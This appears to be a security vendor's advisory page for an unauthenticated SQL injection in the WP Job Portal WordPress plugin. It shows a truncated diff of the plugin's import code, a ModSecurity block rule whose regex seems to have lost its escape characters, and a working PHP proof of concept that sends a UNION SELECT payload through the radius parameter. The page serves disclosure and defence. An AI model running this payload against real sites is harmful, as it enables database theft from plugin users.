-            $response = wpjobportal::$_db->insert(wpjobportal::$_db->prefix.'wj_portal_zywrap_categories',$wpjobportal_data);
-            wpjobportal::$_db->suppress_errors( false );
+                // 3. Check for matching code and perform the update or insert
+                if ( array_key_exists( $wpjobportal_compare_code, $wpjobportal_existing ) ) {

-            if ($response) {
-                $this->zywrap_import_counts['categories']['imported'] += 1;
-            } else {
-                $this->zywrap_import_counts['categories']['failed'] += 1;
-                continue;
-            }
+                    // UPDATE existing record
+                    $where = [ 'code' => $wpjobportal_code ];
+                    $response = wpjobportal::$_db->update( $table_name, $wpjobportal_data, $where );
+
+                    if ( $response !== false ) {
+                        $this->zywrap_import_counts['usecases']['imported'] += 1;
+                    } else {
+                        $this->zywrap_import_counts['usecases']['failed'] += 1;
+                    }

-            $ordering++;
+                } else {
+
+                    // INSERT new record
+                    $response = wpjobportal::$_db->insert( $table_name, $wpjobportal_data );
+
+                    if ( $response ) {
+                        $this->zywrap_import_counts['usecases']['imported'] += 1;
+
+                        // Add to tracking array to catch duplicates inside the payload
+                        $wpjobportal_existing[ $wpjobportal_compare_code ] = $wpjobportal_code;
+
+                        // Increment ordering for the next potential insert
+                        //$ordering++;
+                    } else {
+                        $this->zywrap_import_counts['usecases']['failed'] += 1;
+                    }
+                }
+
+                wpjobportal::$_db->suppress_errors( false );
+            }
         }
-    }

     // function to import zywrap languages
     function importZywrapLanguages( $wpjobportal_data_languages ) {

-        if ( empty( $wpjobportal_data_languages ) ) {
-            return;
-        }
+            if ( empty( $wpjobportal_data_languages ) ) {
+                return;
+            }

-        // Get max ordering
-        $query = "SELECT MAX(lang.ordering)
-                    FROM `" . wpjobportal::$_db->prefix . "wj_portal_zywrap_languages` AS lang";
-        $ordering = (int) wpjobportal::$_db->get_var( $query );
-        $ordering = $ordering + 1;
-        $ordering_check = $ordering;
-        /*
-        // Prepare existing list if ordering exists
-        if ( $ordering_check > 0 ) {
+            $table_name = wpjobportal::$_db->prefix . 'wj_portal_zywrap_languages';

+            // 1. Prepare list of existing languages to handle updates
             $wpjobportal_existing = [];
-            $query = "SELECT lang.code
-                        FROM `" . wpjobportal::$_db->prefix . "wj_portal_zywrap_languages` AS lang";
+            $query = "SELECT lang.code FROM `" . $table_name . "` AS lang";
             $wpjobportal_results = wpjobportal::$_db->get_results( $query );

             if ( ! empty( $wpjobportal_results ) ) {
                 foreach ( $wpjobportal_results as $wpjobportal_row ) {
-                    $wpjobportal_existing[] = $this->cleanStringForCompare( $wpjobportal_row->code );
+                    // Normalize the code for reliable matching
+                    $clean_code = $this->cleanStringForCompare( $wpjobportal_row->code );
+                    $wpjobportal_existing[ $clean_code ] = $wpjobportal_row->code;
                 }
             }
-        }
-        */
-
-        // Loop languages from input
-        foreach ( $wpjobportal_data_languages as $code => $wpjobportal_name ) {
-            /*
-            if ( $ordering_check > 0 ) {
-                $wpjobportal_compare_code = $this->cleanStringForCompare( $code );

-                // Skip duplicates
-                if ( in_array( $wpjobportal_compare_code, $wpjobportal_existing ) ) {
-                    $this->zywrap_import_counts['languages']['skipped'] += 1;
+            // 2. Loop languages from input
+            foreach ( $wpjobportal_data_languages as $code_key => $wpjobportal_language ) {
+                $wpjobportal_code = $wpjobportal_language['code'] ?? '';
+
+                // Skip if no code is provided to prevent empty matching issues
+                if ( empty( $wpjobportal_code ) ) {
+                    $this->zywrap_import_counts['languages']['failed'] += 1;
                     continue;
                 }
-            }
-            */

-            // Prepare DB row object
+                $wpjobportal_compare_code = $this->cleanStringForCompare( $wpjobportal_code );

+                // Build dataset (using the fallback logic from your original code)
+                $wpjobportal_data = [
+                    'code'     => $wpjobportal_code,
+                    'name'     => $wpjobportal_language['name'] ?? '',
+                    'ordering' => $wpjobportal_language['ordering'] ?? '',
+                    'status'   => $wpjobportal_language['status'] ?? ''
+                ];

-            // Build dataset
-            $wpjobportal_data = [];
-            $wpjobportal_data['code']     = $code;
-            $wpjobportal_data['name']     = $wpjobportal_name;
-            $wpjobportal_data['ordering'] = $ordering;
-            $wpjobportal_data['status'] = 1;
+                // Suppress duplicate-key insert warnings during DB operations
+                wpjobportal::$_db->suppress_errors( true );

-            // Store into DB
-            // Suppress duplicate-key insert warnings during bulk import
-            wpjobportal::$_db->suppress_errors( true );
-            $response = wpjobportal::$_db->insert(wpjobportal::$_db->prefix.'wj_portal_zywrap_languages',$wpjobportal_data);
-            wpjobportal::$_db->suppress_errors( false );
+                // 3. Check for matching code and perform the update or insert
+                if ( array_key_exists( $wpjobportal_compare_code, $wpjobportal_existing ) ) {

-            if ( $response ) {
-                $this->zywrap_import_counts['languages']['imported'] += 1;
-            } else {
-                $this->zywrap_import_counts['languages']['failed'] += 1;
-                continue;
-            }
+                    // UPDATE existing record
+                    $where = [ 'code' => $wpjobportal_code ];
+                    $response = wpjobportal::$_db->update( $table_name, $wpjobportal_data, $where );
+
+                    if ( $response !== false ) {
+                        $this->zywrap_import_counts['languages']['imported'] += 1;
+                    } else {
+                        $this->zywrap_import_counts['languages']['failed'] += 1;
+                    }

-            $ordering++;
+                } else {
+
+                    // INSERT new record
+                    $response = wpjobportal::$_db->insert( $table_name, $wpjobportal_data );
+
+                    if ( $response ) {
+                        $this->zywrap_import_counts['languages']['imported'] += 1;
+
+                        // Add to tracking array to catch duplicates inside the payload
+                        $wpjobportal_existing[ $wpjobportal_compare_code ] = $wpjobportal_code;
+                    } else {
+                        $this->zywrap_import_counts['languages']['failed'] += 1;
+                    }
+                }
+
+                wpjobportal::$_db->suppress_errors( false );
+            }
         }
-    }

     // function to import zywrap AI models
     function importZywrapAiModels( $wpjobportal_data_ai_models ) {
@@ -358,68 +528,78 @@
             return;
         }

-        // Get max ordering
-        $query = "SELECT MAX(model.ordering)
-                    FROM `" . wpjobportal::$_db->prefix . "wj_portal_zywrap_ai_models` AS model";
-        $ordering = (int) wpjobportal::$_db->get_var( $query );
-        $ordering  = $ordering + 1;
-        $ordering_check = $ordering;
-        /*
-        // Prepare existing codes if ordering exists
-        if ( $ordering_check > 0 ) {
+        $table_name = wpjobportal::$_db->prefix . 'wj_portal_zywrap_ai_models';

-            $wpjobportal_existing = [];
-            $query = "SELECT model.code
-                        FROM `" . wpjobportal::$_db->prefix . "wj_portal_zywrap_ai_models` AS model";
-            $wpjobportal_results = wpjobportal::$_db->get_results( $query );
+        // 1. Prepare list of existing models to handle updates
+        $wpjobportal_existing = [];
+        $query = "SELECT model.code FROM `" . $table_name . "` AS model";
+        $wpjobportal_results = wpjobportal::$_db->get_results( $query );

-            if ( ! empty( $wpjobportal_results ) ) {
-                foreach ( $wpjobportal_results as $wpjobportal_row ) {
-                    $wpjobportal_existing[] = $this->cleanStringForCompare( $wpjobportal_row->code );
-                }
+        if ( ! empty( $wpjobportal_results ) ) {
+            foreach ( $wpjobportal_results as $wpjobportal_row ) {
+                // Normalize the code for reliable matching
+                $clean_code = $this->cleanStringForCompare( $wpjobportal_row->code );
+                $wpjobportal_existing[ $clean_code ] = $wpjobportal_row->code;
             }
         }
-        */

-        // Loop AI models from input
-        foreach ( $wpjobportal_data_ai_models as $code => $wpjobportal_model ) {
-            $wpjobportal_name       = $wpjobportal_model['name'];
-            $wpjobportal_providerId = $wpjobportal_model['provId'];
-            /*
-            if ( $ordering_check > 0 ) {
-                $wpjobportal_compare_code = $this->cleanStringForCompare( $code );
+        // 2. Loop AI models from input
+        foreach ( $wpjobportal_data_ai_models as $code_key => $wpjobportal_model ) {
+            $wpjobportal_code = $wpjobportal_model['code'] ?? '';

-                // Skip duplicates
-                if ( in_array( $wpjobportal_compare_code, $wpjobportal_existing ) ) {
-                    $this->zywrap_import_counts['aimodels']['skipped'] += 1;
-                    continue;
-                }
+            // Skip if no code is provided to prevent empty matching issues
+            if ( empty( $wpjobportal_code ) ) {
+                $this->zywrap_import_counts['aimodels']['failed'] += 1;
+                continue;
             }
-            */

-            // Prepare data to bind
-            $wpjobportal_data = [];
-            $wpjobportal_data['code']        = $code;
-            $wpjobportal_data['name']        = $wpjobportal_name;
-            $wpjobportal_data['provider_id'] = $wpjobportal_providerId;
-            $wpjobportal_data['ordering']    = $ordering;
-            $wpjobportal_data['status']    = 1;
+            $wpjobportal_compare_code = $this->cleanStringForCompare( $wpjobportal_code );

-            // Store into DB
-            // Suppress duplicate-key insert warnings during bulk import
+            // Extract remaining fields
+            $wpjobportal_name     = $wpjobportal_model['name'] ?? '';
+            $wpjobportal_ordering = $wpjobportal_model['ordering'] ?? '';
+            $wpjobportal_status   = (!isset($wpjobportal_model['status']) || $wpjobportal_model['status']) ? 1 : 0;
+
+            // Build dataset
+            $wpjobportal_data = [
+                'code'     => $wpjobportal_code,
+                'name'     => $wpjobportal_name,
+                'ordering' => $wpjobportal_ordering,
+                'status'   => $wpjobportal_status
+            ];
+
+            // Suppress duplicate-key insert warnings during DB operations
             wpjobportal::$_db->suppress_errors( true );

-            $response = wpjobportal::$_db->insert(wpjobportal::$_db->prefix.'wj_portal_zywrap_ai_models',$wpjobportal_data);
-            wpjobportal::$_db->suppress_errors( false );
+            // 3. Check for matching code and perform the update or insert
+            if ( array_key_exists( $wpjobportal_compare_code, $wpjobportal_existing ) ) {
+
+                // UPDATE existing record
+                $where = [ 'code' => $wpjobportal_code ];
+                $response = wpjobportal::$_db->update( $table_name, $wpjobportal_data, $where );
+
+                if ( $response !== false ) {
+                    $this->zywrap_import_counts['aimodels']['imported'] += 1;
+                } else {
+                    $this->zywrap_import_counts['aimodels']['failed'] += 1;
+                }

-            if ( $response ) {
-                $this->zywrap_import_counts['aimodels']['imported'] += 1;
             } else {
-                $this->zywrap_import_counts['aimodels']['failed'] += 1;
-                continue;
+
+                // INSERT new record
+                $response = wpjobportal::$_db->insert( $table_name, $wpjobportal_data );
+
+                if ( $response ) {
+                    $this->zywrap_import_counts['aimodels']['imported'] += 1;
+
+                    // Add to tracking array to catch duplicates inside the payload
+                    $wpjobportal_existing[ $wpjobportal_compare_code ] = $wpjobportal_code;
+                } else {
+                    $this->zywrap_import_counts['aimodels']['failed'] += 1;
+                }
             }

-            $ordering++;
+            wpjobportal::$_db->suppress_errors( false );
         }
     }

@@ -429,61 +609,89 @@
         if ( empty( $wpjobportal_data_templates ) ) {
             return;
         }
-        /*
-        // Load existing entries to avoid duplicates
+
+        $table_name = wpjobportal::$_db->prefix . 'wj_portal_zywrap_block_templates';
+
+        // 1. Prepare list of existing templates using a composite key (type + code)
         $wpjobportal_existing = [];
-        $query = "SELECT tpl.type, tpl.code
-                    FROM `" . wpjobportal::$_db->prefix . "wj_portal_zywrap_block_templates` AS tpl";
+        $query = "SELECT tpl.type, tpl.code FROM `" . $table_name . "` AS tpl";
         $wpjobportal_results = wpjobportal::$_db->get_results( $query );

         if ( ! empty( $wpjobportal_results ) ) {
             foreach ( $wpjobportal_results as $wpjobportal_row ) {
+                // Normalize the composite key for reliable matching
                 $wpjobportal_key = $this->cleanStringForCompare( $wpjobportal_row->type . '_' . $wpjobportal_row->code );
-                $wpjobportal_existing[] = $wpjobportal_key;
+                $wpjobportal_existing[ $wpjobportal_key ] = true;
             }
         }
-        */

-        // Loop through all template groups (types)
+        // 2. Loop through all template groups (types)
         foreach ( $wpjobportal_data_templates as $type => $wpjobportal_templates ) {

             if ( ! is_array( $wpjobportal_templates ) ) {
                 continue;
             }

-            foreach ( $wpjobportal_templates as $code => $wpjobportal_name ) {
+            foreach ( $wpjobportal_templates as $template ) {
+                // SDK CHANGE: Look for 'label' first, falling back to 'name'
+                $code = $template['code'] ?? '';
+                $name = $template['label'] ?? $template['name'] ?? '';

-                $wpjobportal_compare_key = $this->cleanStringForCompare( $type . '_' . $code );
-                /*
-                // Skip duplicates
-                if ( in_array( $wpjobportal_compare_key, $wpjobportal_existing ) ) {
-                    $this->zywrap_import_counts['blocktemplates']['skipped'] += 1;
+                // SDK CHANGE: Status is now passed from the API
+                $status = (!isset($template['status']) || $template['status']) ? 1 : 0;
+
+                // Skip and count as failed if no code is provided
+                if ( empty( $code ) ) {
+                    $this->zywrap_import_counts['blocktemplates']['failed'] += 1;
                     continue;
                 }
-                */

-                // Prepare DB row object
-                //$wpjobportal_row = WPJOBPORTALincluder::getJSTable('zywrapblocktemplate');
+                // Create the matching key for this specific iteration
+                $compare_key = $this->cleanStringForCompare( $type . '_' . $code );

-                // Prepare bind data (no ordering or timestamps in your original)
-                $wpjobportal_data = [];
-                $wpjobportal_data['type'] = $type;
-                $wpjobportal_data['code'] = $code;
-                $wpjobportal_data['name'] = $wpjobportal_name;
-                $wpjobportal_data['status'] = 1;
+                // Prepare bind data
+                $wpjobportal_data = [
+                    'type'   => $type,
+                    'code'   => $code,
+                    'name'   => $name,
+                    'status' => $status
+                ];

                 // Suppress duplicate-key insert warnings during bulk import
                 wpjobportal::$_db->suppress_errors( true );
-                $response = wpjobportal::$_db->insert(wpjobportal::$_db->prefix.'wj_portal_zywrap_block_templates',$wpjobportal_data);
-                wpjobportal::$_db->suppress_errors( false );

-                // Attempt DB store
-                if ( $response ) {
-                    $this->zywrap_import_counts['blocktemplates']['imported'] += 1;
+                // 3. Check for matching composite key and perform update or insert
+                if ( array_key_exists( $compare_key, $wpjobportal_existing ) ) {
+
+                    // UPDATE existing record (matching BOTH type and code)
+                    $where = [
+                        'type' => $type,
+                        'code' => $code
+                    ];
+                    $response = wpjobportal::$_db->update( $table_name, $wpjobportal_data, $where );
+
+                    if ( $response !== false ) {
+                        $this->zywrap_import_counts['blocktemplates']['imported'] += 1;
+                    } else {
+                        $this->zywrap_import_counts['blocktemplates']['failed'] += 1;
+                    }
+
                 } else {
-                    $this->zywrap_import_counts['blocktemplates']['failed'] += 1;
-                    continue;
+
+                    // INSERT new record
+                    $response = wpjobportal::$_db->insert( $table_name, $wpjobportal_data );
+
+                    if ( $response ) {
+                        $this->zywrap_import_counts['blocktemplates']['imported'] += 1;
+
+                        // Add to tracking array to catch duplicates inside the payload
+                        $wpjobportal_existing[ $compare_key ] = true;
+                    } else {
+                        $this->zywrap_import_counts['blocktemplates']['failed'] += 1;
+                    }
                 }
+
+                wpjobportal::$_db->suppress_errors( false );
             }
         }
     }
@@ -617,11 +825,11 @@
             return;
         }

-        // Get max ordering
-        $query = "SELECT MAX(wrap.ordering)
-                  FROM `" . wpjobportal::$_db->prefix . "wj_portal_zywrap_wrappers` AS wrap";
-        $ordering = (int) wpjobportal::$_db->get_var($query);
-        $ordering_check = $ordering;
+        // // Get max ordering
+        // $query = "SELECT MAX(wrap.ordering)
+        //           FROM `" . wpjobportal::$_db->prefix . "wj_portal_zywrap_wrappers` AS wrap";
+        // $ordering = (int) wpjobportal::$_db->get_var($query);
+        // $ordering_check = $ordering;

         // Prepare existing wrapper codes for duplicate prevention
         // $wpjobportal_existing = [];
@@ -640,7 +848,7 @@
             ];
         }

-        $ordering = $ordering + 1;
+        // $ordering = $ordering + 1;

         // Loop incoming wrappers
         /*
@@ -694,33 +902,37 @@

         $table = wpjobportal::$_db->prefix . 'wj_portal_zywrap_wrappers';

-        foreach ($wpjobportal_data_wrappers as $code => $wrapper) {
+        foreach ($wpjobportal_data_wrappers as $wrp_code => $wrapper) {

             // Validate required fields
-            if (empty($code) || empty($wrapper['name'])) {
+            if (empty($wrapper['code']) || empty($wrapper['name'])) {
                 $this->zywrap_import_counts['wrappers']['failed']++;
                 continue;
             }

+            $wpjobportal_code = $wrapper['code'] ?? '';
             $wpjobportal_name = $wrapper['name'] ?? '';
             $wpjobportal_desc = $wrapper['desc'] ?? '';
-            $cat              = $wrapper['cat'] ?? '';
+            //$cat              = $wrapper['cat'] ?? '';
+            $usecase          = $wrapper['usecase'] ?? '';
             $featured         = (int) ($wrapper['featured'] ?? 0);
             $base             = (int) ($wrapper['base'] ?? 0);
+            $ordering             = (int) ($wrapper['ordering'] ?? 0);

             // Prepare escaped row
             $batch_values[] = wpjobportal::$_db->prepare(
                 "(%s, %s, %s, %s, %d, %d, %d)",
-                $code,
+                $wpjobportal_code,
                 $wpjobportal_name,
                 $wpjobportal_desc,
-                $cat,
+                //$cat,
+                $usecase,
                 $featured,
                 $base,
                 $ordering
             );

-            $ordering++;
+
             $batch_count++;

             // Execute batch when limit reached
@@ -730,7 +942,7 @@
                 wpjobportal::$_db->suppress_errors( true );
                 $sql = "
                     INSERT INTO {$table}
-                    (code, name, description, category_code, featured, base, ordering)
+                    (code, name, description, use_case_code, featured, base, ordering)
                     VALUES " . implode(',', $batch_values);

                 $result = wpjobportal::$_db->query($sql);
@@ -757,7 +969,7 @@
             wpjobportal::$_db->suppress_errors( true );
             $sql = "
                 INSERT INTO {$table}
-                (code, name, description, category_code, featured, base, ordering)
+                (code, name, description, use_case_code, featured, base, ordering)
                 VALUES " . implode(',', $batch_values);

             $result = wpjobportal::$_db->query($sql);
@@ -771,6 +983,36 @@
         }
     }

+    function deleteBatch( $table_name, $ids, $pk = 'code' ) {
+
+        if ( empty( $ids ) || ! is_array( $ids ) ) { // ids contains codes
+            return;
+        }
+
+        $has_error     = false;
+        $error_message = '';
+
+        // Suppress DB errors during the loop so we can catch them and rollback safely
+        wpjobportal::$_db->suppress_errors( true );
+
+        foreach ( $ids as $id ) {
+            $where = [ $pk => $id ];
+
+            // delete() returns the number of rows deleted, or false on error
+            $response = wpjobportal::$_db->delete( $table_name, $where );
+
+            // If false is returned, a database error occurred
+            if ( $response === false ) {
+                // $has_error     = true;
+                // $error_message = wpjobportal::$_db->last_error;
+                // break; // Stop the loop immediately on the first failure
+            }
+        }
+
+        // Restore standard error reporting
+        wpjobportal::$_db->suppress_errors( false );
+
+    }

     function importZywrapData() {
         if (function_exists('set_time_limit')) {
@@ -793,52 +1035,31 @@
         }
        $type = WPJOBPORTALrequest::getVar('actionType');

-        // // 1. Download the ZIP file
-        // $wpjobportal_url = 'https://api.zywrap.com/v1/sdk/download';
-        // $response = wp_remote_get($wpjobportal_url, array(
-        //     'timeout' => 300, // 5 minutes
-        //     'headers' => array('Authorization' => 'Bearer ' . $api_key)
-        // ));
-
-        // if (is_wp_error($response) || wp_remote_retrieve_response_code($response) !== 200) {
-        //     $wpjobportal_error_msg = is_wp_error($response) ? $response->get_error_message() : 'HTTP ' . wp_remote_retrieve_response_code($response);
-        //     $this->log_api_call('sync_full', 'error', ['error_message' => 'Download failed: ' . $wpjobportal_error_msg]);
-        //     wp_send_json_error(array('message' => 'Failed to download data bundle from Zywrap API.'));
-        // }
+        // new install case
+        $wpjobportal_url = 'https://api.zywrap.com/v1/sdk/v1/sync';

-        // // 2. Save and Unzip
-        // $wpjobportal_upload_dir = wp_upload_dir();
-        // $zip_file = $wpjobportal_upload_dir['path'] . '/zywrap-data.zip';
-        // $wpjobportal_json_file = $wpjobportal_upload_dir['path'] . '/zywrap-data.json';
-        // file_put_contents($zip_file, wp_remote_retrieve_body($response));
-
-        // // Use WordPress filesystem for unzipping
-        // WP_Filesystem();
-        // $unzip_result = unzip_file($zip_file, $wpjobportal_upload_dir['path']);
-        // if (is_wp_error($unzip_result)) {
-        //     wp_send_json_error(array('message' => 'Failed to unzip data bundle: ' . $unzip_result->get_error_message()));
-        // }
+        //$wpjobportal_data_version = '';

-        // if (!file_exists($wpjobportal_json_file)) {
-        //     wp_send_json_error(array('message' => 'Error: zywrap-data.json not found in ZIP.'));
-        // }
+        // parameter is required
+        $wpjobportal_data_version = get_option('wpjobportal_zywrap_version');
+        $truncate_tables = 1;
+        //$wpjobportal_data_version = '2020-02-02T13:03:18.438Z';
+        if(empty($wpjobportal_data_version)){
+            //$wpjobportal_data_version = '2020-02-02T13:03:18.438Z';
+            $truncate_tables = 0;
+        }

-        // $wpjobportal_json_data = file_get_contents($wpjobportal_json_file);
-        // 1. Download the ZIP file
-        // $wpjobportal_url = 'https://api.zywrap.com/v1/sdk/download';

-        // new install case
-        $wpjobportal_url = 'https://api.zywrap.com/v1/sdk/export/';
-        //$wpjobportal_data_version = '';
-        $wpjobportal_data_version = get_option('wpjobportal_zywrap_version');
+        //$wpjobportal_data_version = '2026-02-25T13:03:18.438Z';
+        $ignore_mode_section = 0;
+        // if(!empty($wpjobportal_data_version)){
+        //     $ignore_mode_section = 0;
+        //     $wpjobportal_url = 'https://api.zywrap.com/v1/sdk/v1/sync';
+        //     //$wpjobportal_url = 'https://api.zywrap.com/v1/sdk/export/updates/';
+        // }
+
+        $wpjobportal_url = add_query_arg('fromVersion', urlencode($wpjobportal_data_version), $wpjobportal_url);

-        //$wpjobportal_data_version = '2026-02-11T13:03:18.438Z';
-        $ingore_mode_section = 1;
-        if(!empty($wpjobportal_data_version)){
-            $ingore_mode_section = 0;
-            $wpjobportal_url = 'https://api.zywrap.com/v

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-4306
SecRule REQUEST_URI "@endsWith /wp-content/plugins/wp-job-portal/modules/job/controller.php" 
  "id:10004306,phase:2,deny,status:403,chain,msg:'CVE-2026-4306 WP Job Portal SQL Injection via radius parameter',severity:'CRITICAL',tag:'CVE-2026-4306',tag:'WordPress',tag:'WP-Job-Portal',tag:'SQLi'"
  SecRule ARGS_POST:task "@streq getjobsforsearch" "chain"
    SecRule ARGS_POST:radius "@rx (?i)(?:b(?:union|select|insert|update|delete|drop|create|alter|truncate|exec|execute|sleep|benchmark)b|['"](?:s*b(?:union|select)b|[^']*?b(?:or|and)bs*[d']+s*[=<>])|bd+s*[=<>]s*bd+b|--|#|/*|*/)" 
      "setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4306 - WP Job Portal <= 2.4.8 - Unauthenticated SQL Injection via 'radius' Parameter

<?php

$target_url = "http://example.com/wp-content/plugins/wp-job-portal/"; // Change to target site

// The exploit targets the job search functionality
// We simulate a search request with a malicious radius parameter
$exploit_url = $target_url . "modules/job/controller.php";

// SQL Injection payload in the radius parameter
// This payload attempts to extract the database version
$malicious_radius = "1) UNION SELECT 1,version(),3,4,5,6,7,8,9,10-- -";

// Prepare POST data mimicking a legitimate search request
$post_data = array(
    'task' => 'getjobsforsearch',
    'radius' => $malicious_radius,
    'longitude' => '0',  // Required for radius search
    'latitude' => '0',   // Required for radius search
    'radius_length_type' => 'km'  // Required for radius calculation
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check for errors
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    echo "HTTP Status: $http_coden";
    echo "Response Length: " . strlen($response) . " bytesnn";
    
    // The response may contain the SQL query result in the page output
    // Look for database version or other injected data
    if (strpos($response, 'MariaDB') !== false || strpos($response, 'MySQL') !== false) {
        echo "SUCCESS: SQL Injection likely successful. Database version may be disclosed in response.n";
    } else {
        echo "Response does not contain obvious database version. Manual inspection required.n";
    }
    
    // For debugging: show first 2000 characters of response
    echo "Response preview:n" . substr($response, 0, 2000) . "n...n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School